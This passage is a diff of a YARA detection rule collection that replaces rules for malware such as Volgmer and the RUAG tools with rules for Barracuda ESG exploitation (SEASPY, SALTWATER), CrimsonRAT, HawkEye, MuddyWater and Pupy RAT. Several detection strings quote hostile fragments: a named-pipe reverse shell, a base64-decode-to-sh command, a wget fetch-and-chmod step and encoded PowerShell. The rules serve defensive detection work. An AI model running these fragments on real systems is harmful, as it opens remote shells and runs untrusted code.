-		$str3 = "By. Twi1ight" wide ascii
-		$str4 = "[both mode] ,delay TIME to read result" wide ascii
-		$str5 = "such as nc.exe or Trojan" wide ascii
-		$str6 = "+++shell mode+++" wide ascii
-		$str7 = "win2008 fso has no privilege to delete file" wide ascii
+		$h1 = "powershell"
+		$sa1 = ".value.toString() 'JAB"
+		$sa2 = ".value.toString() ('JAB"
+		$sb1 = "-w 1 -C \"s"
+		$sb2 = "/w 1 /C \"s"
 
 	condition:
-		2 of ($str*)
+		filesize <20KB and uint32be(0)==0x706f7765 and $h1 at 0 and ( uint16be( filesize -2)==0x2722 or ( uint16be( filesize -2)==0x220a and uint8( filesize -3)==0x27) or ( uint16be( filesize -2)==0x2922 and uint8( filesize -3)==0x27)) and (1 of ($sa*) and 1 of ($sb*))
 }
 rule SIGNATURE_BASE_KR_Target_Malware_Aug17 : FILE
 {
@@ -333070,8 +341306,8 @@ rule SIGNATURE_BASE_KR_Target_Malware_Aug17 : FILE
 		date = "2017-08-23"
 		modified = "2023-12-05"
 		reference = "https://twitter.com/eyalsela/status/900250203097354240"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_kr_malware.yar#L11-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_kr_malware.yar#L11-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
 		logic_hash = "47c3350b489b023687f05f55a09f0092456c87b4beeda563756a99ccd5091b09"
 		score = 75
 		quality = 85
@@ -333092,57622 +341328,58101 @@ rule SIGNATURE_BASE_KR_Target_Malware_Aug17 : FILE
 	condition:
 		( uint16(0)==0x5a4d and filesize <800KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT10_Malware_Imphash_Dec18_1 : FILE
+rule SIGNATURE_BASE_MAL_ELF_Reverseshell_Sslshell_Jun23_1 : CVE_2023_2868 FILE
 {
 	meta:
-		description = "Detects APT10 malware based on ImpHashes"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2de195a3-63a4-50ac-a83d-ab0db0f784bf"
-		date = "2018-12-28"
+		description = "Detects reverse shell named SSLShell used in Barracuda ESG exploitation (CVE-2023-2868)"
+		author = "Florian Roth"
+		id = "91b34eb7-61d2-592e-a444-249da43994ca"
+		date = "2023-06-07"
 		modified = "2023-12-05"
-		reference = "AlienVault OTX IOCs - statistical sample analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt10.yar#L1390-L1406"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d6e2f23f3809e7a7064bfe4859db3480454a9c8b21ffac2e1e8b7b8a8906de93"
+		reference = "https://www.barracuda.com/company/legal/esg-vulnerability"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_lnx_barracuda_cve_2023_2868.yar#L2-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "57e9afb2f6928656242b8257cc3b98ae3b03e38c75ad40b544e3fc6afaea794d"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2023-2868, FILE"
+		hash1 = "8849a3273e0362c45b4928375d196714224ec22cb1d2df5d029bf57349860347"
+
+	strings:
+		$sc1 = { 00 2D 63 00 2F 62 69 6E 2F 73 68 00 }
+		$s1 = "SSLShell"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <6000KB and (pe.imphash()=="0556ff5e5f8744bff47d4921494ba46d" or pe.imphash()=="cb1194123f68a68eb14552c085b620ce" or pe.imphash()=="efad9ff8c0d2a6419bf1dd970bcd806d" or pe.imphash()=="7a861cd9c495e1d950a43cb708a22985" or pe.imphash()=="a5d0545030be75a421529c2b0be6c4bd" or pe.imphash()=="94491f4a812b0297419dc888aa4fd2a5")
+		uint32be(0)==0x7f454c46 and uint16(0x10)==0x0002 and filesize <5MB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_TA17_318B_Volgmer : FILE
+rule SIGNATURE_BASE_MAL_ELF_SALTWATER_Jun23_1 : CVE_2023_2868 FILE
 {
 	meta:
-		description = "Malformed User Agent in Volgmer malware"
-		author = "US CERT"
-		id = "20a7f64b-0fee-5235-ac91-2fc811497ac6"
-		date = "2017-11-15"
+		description = "Detects SALTWATER malware used in Barracuda ESG exploitations (CVE-2023-2868)"
+		author = "Florian Roth"
+		id = "10a038f6-6096-5d3a-aaf5-db441685102b"
+		date = "2023-06-07"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_318B.yar#L9-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2b3a7e501214767b7d79b33fb560b5611fa3726036a0c98d6f1904a55f306e40"
-		score = 75
+		reference = "https://www.barracuda.com/company/legal/esg-vulnerability"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_lnx_barracuda_cve_2023_2868.yar#L21-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cb35898c0ee726170da93b4364920ac065f083f9f02db8eb5d293b1ce127cb78"
+		score = 80
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2023-2868, FILE"
+		hash1 = "601f44cc102ae5a113c0b5fe5d18350db8a24d780c0ff289880cc45de28e2b80"
 
 	strings:
-		$s = "Mozillar/"
+		$x1 = "libbindshell.so"
+		$s1 = "ShellChannel"
+		$s2 = "MyWriteAll"
+		$s3 = "CheckRemoteIp"
+		$s4 = "run_cmd"
+		$s5 = "DownloadByProxyChannel"
+		$s6 = "[-] error: popen failed"
+		$s7 = "/home/product/code/config/ssl_engine_cert.pem"
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $s
+		uint16(0)==0x457f and filesize <6000KB and ((1 of ($x*) and 2 of them ) or 3 of them ) or all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Volgmer_Malware : FILE
+rule SIGNATURE_BASE_Crimsonrat_Mar18_1 : FILE
 {
 	meta:
-		description = "Detects Volgmer malware as reported in US CERT TA17-318B"
+		description = "Detects CrimsonRAT malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a8df5f70-69e7-5c95-8af7-7dda6bb9c77a"
-		date = "2017-11-15"
+		id = "af21876c-f99d-5307-abba-02c57ee93df0"
+		date = "2018-03-06"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_318B.yar#L34-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "898c2734c56a40aa4d24c1eac2dfb7dd1f98b0bdf7a11ab518eef282becb84b6"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_crimson_rat.yar#L11-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "59b01a98a70c4bac08d396418fac24eb96e461a45502f63edc2a9aa87e05f960"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ff2eb800ff16745fc13c216ff6d5cc2de99466244393f67ab6ea6f8189ae01dd"
-		hash2 = "8fcd303e22b84d7d61768d4efa5308577a09cc45697f7f54be4e528bbb39435b"
-		hash3 = "eff3e37d0406c818e3430068d90e7ed2f594faa6bb146ab0a1c00a2f4a4809a5"
-		hash4 = "e40a46e95ef792cf20d5c14a9ad0b3a95c6252f96654f392b4bc6180565b7b11"
-		hash5 = "6dae368eecbcc10266bba32776c40d9ffa5b50d7f6199a9b6c31d40dfe7877d1"
-		hash6 = "fee0081df5ca6a21953f3a633f2f64b7c0701977623d3a4ec36fff282ffe73b9"
-		hash7 = "53e9bca505652ef23477e105e6985102a45d9a14e5316d140752df6f3ef43d2d"
-		hash8 = "1d0999ba3217cbdb0cc85403ef75587f747556a97dee7c2616e28866db932a0d"
+		hash1 = "acf2e8013b6fafcf436d5a05049896504ffa2e982bca05155d19981d1931c611"
+		hash2 = "7ca6e5ef1d346ec35993c910128a3526b098a07445131784a9358bf5679e3975"
+		hash3 = "be4264973de9886caedae1cb707586588d0da85ac7a2ad277db4258033ea12a8"
+		hash4 = "acf2e8013b6fafcf436d5a05049896504ffa2e982bca05155d19981d1931c611"
+		hash5 = "ff52b4a64ed7caeab00350e493968dbdb159aeb545fcba67d83ab9b158464de4"
 
 	strings:
-		$x1 = "User-Agent: Mozillar/5.0" fullword ascii
-		$x2 = "[Cmd] - CMD_BOTCMD_CONNLOG_GET" fullword wide
-		$x3 = "[TestConnect To Bot] - Port = %d" fullword ascii
-		$x4 = "b50a338264226b6d57c1936d9db140ba74a28930270a083353645a9b518661f4fcea160d7" ascii
-		$s1 = "%sigfx%c%c%c.exe" fullword wide
-		$s2 = "H_%s_%016I64X_%04d%02d%02d%02d%02d%02d.TXT" fullword ascii
-		$s3 = "cmd.exe /c %s > %s 2>&1" fullword wide
-		$s4 = "%s\\dllcache\\%s.dll" fullword ascii
-		$s5 = "Cond Fail." fullword ascii
-		$s6 = "The %s %s%s" fullword ascii
-		$s7 = "%s \"%s\"%s \"%s\" %s \"%s\"" fullword ascii
-		$s8 = "DLL_Spider.dll" fullword ascii
+		$x1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|" wide
+		$x2 = "\\Release\\RTLBot.pdb" ascii
+		$x3 = "cmd.exe/c systeminfo >> 1.txt" fullword wide
+		$x4 = "/online >> Get online target with important info" fullword wide
+		$x5 = "/screen >> ScreenShot from target PC" fullword wide
+		$x6 = "/restart >> Restart Target PC" fullword wide
+		$x7 = "/log_key >> Get log key file" fullword wide
+		$a1 = "get_ShiftKey" fullword ascii
+		$a2 = "get_ControlKey" fullword ascii
+		$a3 = "get_AltKey" fullword ascii
+		$a4 = "get_MineInterval" fullword ascii
+		$fp1 = "Copyright Software Secure" wide
 
 	condition:
-		filesize <400KB and (1 of ($x*) or ( uint16(0)==0x5a4d and 2 of them )) or ( uint16(0)==0x5a4d and pe.imphash()=="ea42395e901b33bad504798e0f0fd74b")
+		uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or all of ($a*)) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_RUAG_Tavdig_Malformed_Executable : FILE
+rule SIGNATURE_BASE_MAL_Fake_Document_Software_Indicators_Nov23 : FILE
 {
 	meta:
-		description = "Detects an embedded executable with a malformed header - known from Tavdig malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "da6357d4-0cdb-5f30-9919-59858963cc41"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/N5MEj0"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ruag.yar#L9-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2a6eb90cc77f4556da0b5b0211bf0c4759dae0d78e9c6b765eff0e9a34f52e0f"
-		score = 60
+		description = "Detects indicators of fake document/image utility software that acts as a downloader for additional malware"
+		author = "Jonathan Peters"
+		id = "231474cd-1ec9-5738-bf48-ef707689056d"
+		date = "2023-11-13"
+		modified = "2024-04-24"
+		reference = "https://nochlab.blogspot.com/2023/09/net-in-javascript-fake-pdf-converter.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_fake_document_software.yar#L1-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5f0a088bf672559fbac90313768d41b79be7f1f56c6ddb36f0dcd265a07f98b2"
+		score = 80
 		quality = 85
 		tags = "FILE"
+		hash1 = "ac5356ae011effb9d401bf428c92a48cf82c9b61f4c24a29a9718e3379f90f1d"
+		hash2 = "d1c29c2243c511ca3264ad568a6be62f374e104b903eca93debce6691e1c5007"
+
+	strings:
+		$ = "tweakscode.com" wide
+		$ = "www.createmygif.com" wide
+		$ = "www.videownload.com" wide
+		$ = "www.pdfconverterz.com" wide
+		$ = "www.pdfconvertercompare.com" wide
 
 	condition:
-		uint16(0)==0x5a4d and uint32( uint32(0x3C))==0x0000AD0B
+		uint16(0)==0x5a4d and 1 of them
 }
-rule SIGNATURE_BASE_RUAG_Bot_Config_File : FILE
+rule SIGNATURE_BASE_Muddywater_Mal_Doc_Feb18_1 : FILE
 {
 	meta:
-		description = "Detects a specific config file used by malware in RUAG APT case"
+		description = "Detects malicious document used by MuddyWater"
 		author = "Florian Roth (Nextron Systems)"
-		id = "aa3d5f9e-0b23-5180-9e52-a7d705712747"
-		date = "2023-12-05"
+		id = "5f275ee8-c6a9-532b-bc82-b109195171da"
+		date = "2018-02-26"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/N5MEj0"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ruag.yar#L21-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "256808511233da446ec69db4f5a5e23a237296c100e79e78bbe5e4964fa5dde6"
-		score = 60
+		reference = "Internal Research - TI2T"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_muddywater.yar#L10-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b675b004f86695821737b7fc05276c8350e44f5822ec458a74658f895ccf7082"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c"
 
 	strings:
-		$s1 = "[CONFIG]" ascii
-		$s2 = "name = " ascii
-		$s3 = "exe = cmd.exe" ascii
+		$x1 = "aWV4KFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmco" ascii
+		$x2 = "U1FCdUFIWUFid0JyQUdVQUxRQkZBSGdBY0FCeUFHVUFjd0J6QUdrQWJ3QnVBQ0FBS"
 
 	condition:
-		uint32(0)==0x4e4f435b and $s1 at 0 and $s2 and $s3 and filesize <160
+		uint16(0)==0xcfd0 and filesize <3000KB and 1 of them
 }
-rule SIGNATURE_BASE_RUAG_Cobra_Malware : FILE
+rule SIGNATURE_BASE_Muddywater_Mal_Doc_Feb18_2 : FILE
 {
 	meta:
-		description = "Detects a malware mentioned in the RUAG Case called Carbon/Cobra"
+		description = "Detects malicious document used by MuddyWater"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dd2d591f-6f56-5c31-9f3c-3aa7d174c9a0"
-		date = "2023-12-05"
+		id = "117e1d33-63a3-52c8-acf6-bc61959193db"
+		date = "2018-02-26"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/N5MEj0"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ruag.yar#L36-L47"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5576e8e465eb289e8da44009cb2237080c5b5c3eb6d7a337634d91c5d68ecd80"
-		score = 60
+		reference = "Internal Research - TI2T"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_muddywater.yar#L28-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b198396d27b32f8aa57a25cd6e33deb2bcfb726731e2e07f8b9d50b5f6ff13a0"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c"
+		hash2 = "366d8b84a43a528e6aaf9ecfc38980b148f983967803914471ccf011b9bb0832"
 
 	strings:
-		$s1 = "\\Cobra\\Release\\Cobra.pdb" ascii
+		$s1 = "*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" fullword wide
+		$s2 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide
+		$s3 = "*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 O" wide
+		$s4 = "scripting.filesystemobject$" fullword ascii
+		$s5 = "ID=\"{00000000-0000-0000-0000-000000000000}\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and $s1
+		uint16(0)==0xcfd0 and filesize <6000KB and all of them
 }
-rule SIGNATURE_BASE_RUAG_Cobra_Config_File : FILE
+rule SIGNATURE_BASE_MAL_Muddywater_Droppedtask_Jun18_1 : FILE
 {
 	meta:
-		description = "Detects a config text file used by malware Cobra in RUAG case"
+		description = "Detects a dropped Windows task as used by MudyWater in June 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b3899d95-acc9-55ca-9025-edecce755ca6"
-		date = "2023-12-05"
+		id = "d9ef379d-161f-59f1-873e-3af12b24b76b"
+		date = "2018-06-12"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/N5MEj0"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ruag.yar#L49-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "703a89562f3a2e5692883892f468288276459ad528cd371b1ac226e1d1c4be02"
-		score = 60
+		reference = "https://app.any.run/tasks/719c94eb-0a00-47cc-b583-ad4f9e25ebdb"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_muddywater.yar#L48-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "776ae1adab223ae258d1c1c0c501e177dafe196964a2ede31789a7caa8495b2d"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7ecc2e1817f655ece2bde39b7d6633f4f586093047ec5697a1fab6adc7e1da54"
 
 	strings:
-		$h1 = "[NAME]" ascii
-		$s1 = "object_id=" ascii
-		$s2 = "[TIME]" ascii fullword
-		$s3 = "lastconnect" ascii
-		$s4 = "[CW_LOCAL]" ascii fullword
-		$s5 = "system_pipe" ascii
-		$s6 = "user_pipe" ascii
-		$s7 = "[TRANSPORT]" ascii
-		$s8 = "run_task_system" ascii
-		$s9 = "[WORKDATA]" ascii
-		$s10 = "address1" ascii
+		$x1 = "%11%\\scrobj.dll,NI,c:" wide
+		$s1 = "AppAct = \"SOFTWARE\\Microsoft\\Connection Manager\"" fullword wide
+		$s2 = "[DefenderService]" fullword wide
+		$s3 = "UnRegisterOCXs=EventManager" fullword wide
+		$s4 = "ShortSvcName=\" \"" fullword wide
 
 	condition:
-		uint32(0)==0x4d414e5b and $h1 at 0 and 8 of ($s*) and filesize <5KB
+		uint16(0)==0xfeff and filesize <1KB and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_RUAG_Exfil_Config_File : FILE
+rule SIGNATURE_BASE_Hawkeye_Keylogger_Feb18_1 : FILE
 {
 	meta:
-		description = "Detects a config text file used in data exfiltration in RUAG case"
+		description = "Semiautomatically generated YARA rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7057bc7b-7f8c-5db8-b7f3-f6c33487b122"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/N5MEj0"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ruag.yar#L73-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "379e8762932ca565f3bd35ec241aef2d0445fbe6182a041e4d4e16a1170202ef"
-		score = 60
+		id = "6b4b447f-43d6-5774-a1b9-d53b40364732"
+		date = "2018-02-12"
+		modified = "2023-01-06"
+		reference = "https://app.any.run/tasks/ae2521dd-61aa-4bc7-b0d8-8c85ddcbfcc9"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_hawkeye.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "39037ccb90b747c098fbf5a504aee4a6a716901ff5841ae328ea40d06cc3fcfd"
+		score = 90
 		quality = 85
 		tags = "FILE"
+		hash1 = "bb58922ad8d4a638e9d26076183de27fb39ace68aa7f73adc0da513ab66dc6fa"
 
 	strings:
-		$h1 = "[TRANSPORT]" ascii
-		$s1 = "system_pipe" ascii
-		$s2 = "spstatus" ascii
-		$s3 = "adaptable" ascii
-		$s4 = "post_frag" ascii
-		$s5 = "pfsgrowperiod" ascii
+		$s1 = "UploadReportLogin.asmx" fullword wide
+		$s2 = "tmp.exe" fullword wide
+		$s3 = "%appdata%\\" wide
 
 	condition:
-		uint32(0)==0x4152545b and $h1 at 0 and all of ($s*) and filesize <1KB
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
 }
-rule SIGNATURE_BASE_APT_UNC4841_ESG_Barracuda_CVE_2023_2868_Forensic_Artifacts_Jun23_1 : SCRIPT CVE_2023_2868
+rule SIGNATURE_BASE_MAL_Hawkeye_Keylogger_Gen_Dec18
 {
 	meta:
-		description = "Detects forensic artifacts found in the exploitation of CVE-2023-2868 in Barracuda ESG devices by UNC4841"
-		author = "Florian Roth"
-		id = "50518fa1-33de-5fe5-b957-904d976fb29a"
-		date = "2023-06-15"
-		modified = "2023-06-16"
-		reference = "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_barracuda_esg_unc4841_jun23.yar#L2-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa7cac1e0f6cb6fa3ac271c1fff0039ff182b6859920b4eca25541457654acde"
+		description = "Detects HawkEye Keylogger Reborn"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1d06f364-a4e2-5632-ad3a-d53a8cddf072"
+		date = "2018-12-10"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/James_inthe_box/status/1072116224652324870"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_hawkeye.yar#L20-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b850f02849030d9912b7571e33e969427ac8f721d2f288ae3ac3e971c4ee4263"
 		score = 75
 		quality = 85
-		tags = "SCRIPT, CVE-2023-2868"
+		tags = ""
+		hash1 = "b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad"
 
 	strings:
-		$x01 = "=;ee=ba;G=s;_ech_o $abcdefg_${ee}se64" ascii
-		$x02 = ";echo $abcdefg | base64 -d | sh" ascii
-		$x03 = "setsid sh -c \"mkfifo /tmp/p" ascii
-		$x04 = "sh -i </tmp/p 2>&1" ascii
-		$x05 = "if string.match(hdr:body(), \"^[%w%+/=" ascii
-		$x06 = "setsid sh -c \"/sbin/BarracudaMailService eth0\""
-		$x07 = "echo \"set the bvp ok\""
-		$x08 = "find ${path} -type f ! -name $excludeFileNameKeyword | while read line ;"
-		$x09 = " /mail/mstore | xargs -i cp {} /usr/share/.uc/"
-		$x10 = "tar -T /mail/mstore/tmplist -czvf "
-		$sa1 = "sh -c wget --no-check-certificate http"
-		$sa2 = ".tar;chmod +x "
+		$s1 = "HawkEye Keylogger" fullword wide
+		$s2 = "_ScreenshotLogger" ascii
+		$s3 = "_PasswordStealer" ascii
 
 	condition:
-		1 of ($x*) or all of ($sa*)
+		2 of them
 }
-rule SIGNATURE_BASE_APT_MAL_UNC4841_SEASPY_Jun23_1 : CVE_2023_2868 FILE
+rule SIGNATURE_BASE_APT_Pupyrat_PY : FILE
 {
 	meta:
-		description = "Detects SEASPY malware used by UNC4841 in attacks against Barracuda ESG appliances exploiting CVE-2023-2868"
-		author = "Florian Roth"
-		id = "bcff58f8-87f6-5371-8b96-5d4c0f349000"
-		date = "2023-06-16"
+		description = "Detects Pupy RAT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cdd689e3-437e-514d-a058-fad80ce0639e"
+		date = "2017-02-17"
 		modified = "2023-12-05"
-		reference = "https://blog.talosintelligence.com/alchimist-offensive-framework/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_barracuda_esg_unc4841_jun23.yar#L30-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c1dcb841fb872f0d5e661bfd90fca3075f5efc95b1f9dfff72fa318ed131e9d1"
-		score = 85
+		reference = "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_magichound.yar#L10-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b30bc3082be3229ea2ef5d7c51ab6f97df2f612c80c45892e1a13fde1fb56725"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-2868, FILE"
-		hash1 = "3f26a13f023ad0dcd7f2aa4e7771bba74910ee227b4b36ff72edc5f07336f115"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8d89f53b0a6558d6bb9cdbc9f218ef699f3c87dd06bc03dd042290dedc18cb71"
 
 	strings:
-		$sx1 = "usage: ./BarracudaMailService <Network-Interface>. e.g.: ./BarracudaMailService eth0" ascii fullword
-		$s1 = "fcntl.tmp.amd64." ascii
-		$s2 = "Child process id:%d" ascii fullword
-		$s3 = "[*]Success!" ascii fullword
-		$s4 = "NO port code" ascii
-		$s5 = "enter open tty shell" ascii
-		$op1 = { 48 89 c6 f3 a6 0f 84 f7 01 00 00 bf 6c 84 5f 00 b9 05 00 00 00 48 89 c6 f3 a6 0f 84 6a 01 00 00 }
-		$op2 = { f3 a6 0f 84 d2 00 00 00 48 89 de bf 51 5e 61 00 b9 05 00 00 00 f3 a6 74 21 48 89 de }
-		$op3 = { 72 de 45 89 f4 e9 b8 f4 ff ff 48 8b 73 08 45 85 e4 ba 49 3d 62 00 b8 44 81 62 00 48 0f 45 d0 }
+		$x1 = "reflective_inject_dll" fullword ascii
+		$x2 = "ImportError: pupy builtin module not found !" fullword ascii
+		$x3 = "please start pupy from either it's exe stub or it's reflective DLLR;" fullword ascii
+		$x4 = "[INJECT] inject_dll." fullword ascii
+		$x5 = "import base64,zlib;exec zlib.decompress(base64.b64decode('eJzzcQz1c/ZwDbJVT87Py0tNLlHnAgA56wXS'))" fullword ascii
+		$op1 = { 8b 42 0c 8b 78 14 89 5c 24 18 89 7c 24 14 3b fd }
 
 	condition:
-		uint16(0)==0x457f and filesize <9000KB and 3 of them or 5 of them
+		( uint16(0)==0x5a4d and filesize <20000KB and 1 of them ) or (2 of them )
 }
-rule SIGNATURE_BASE_APT_MAL_UNC4841_SEASPY_LUA_Jun23_1 : FILE
+rule SIGNATURE_BASE_APT_Magichound_Malmacro : FILE
 {
 	meta:
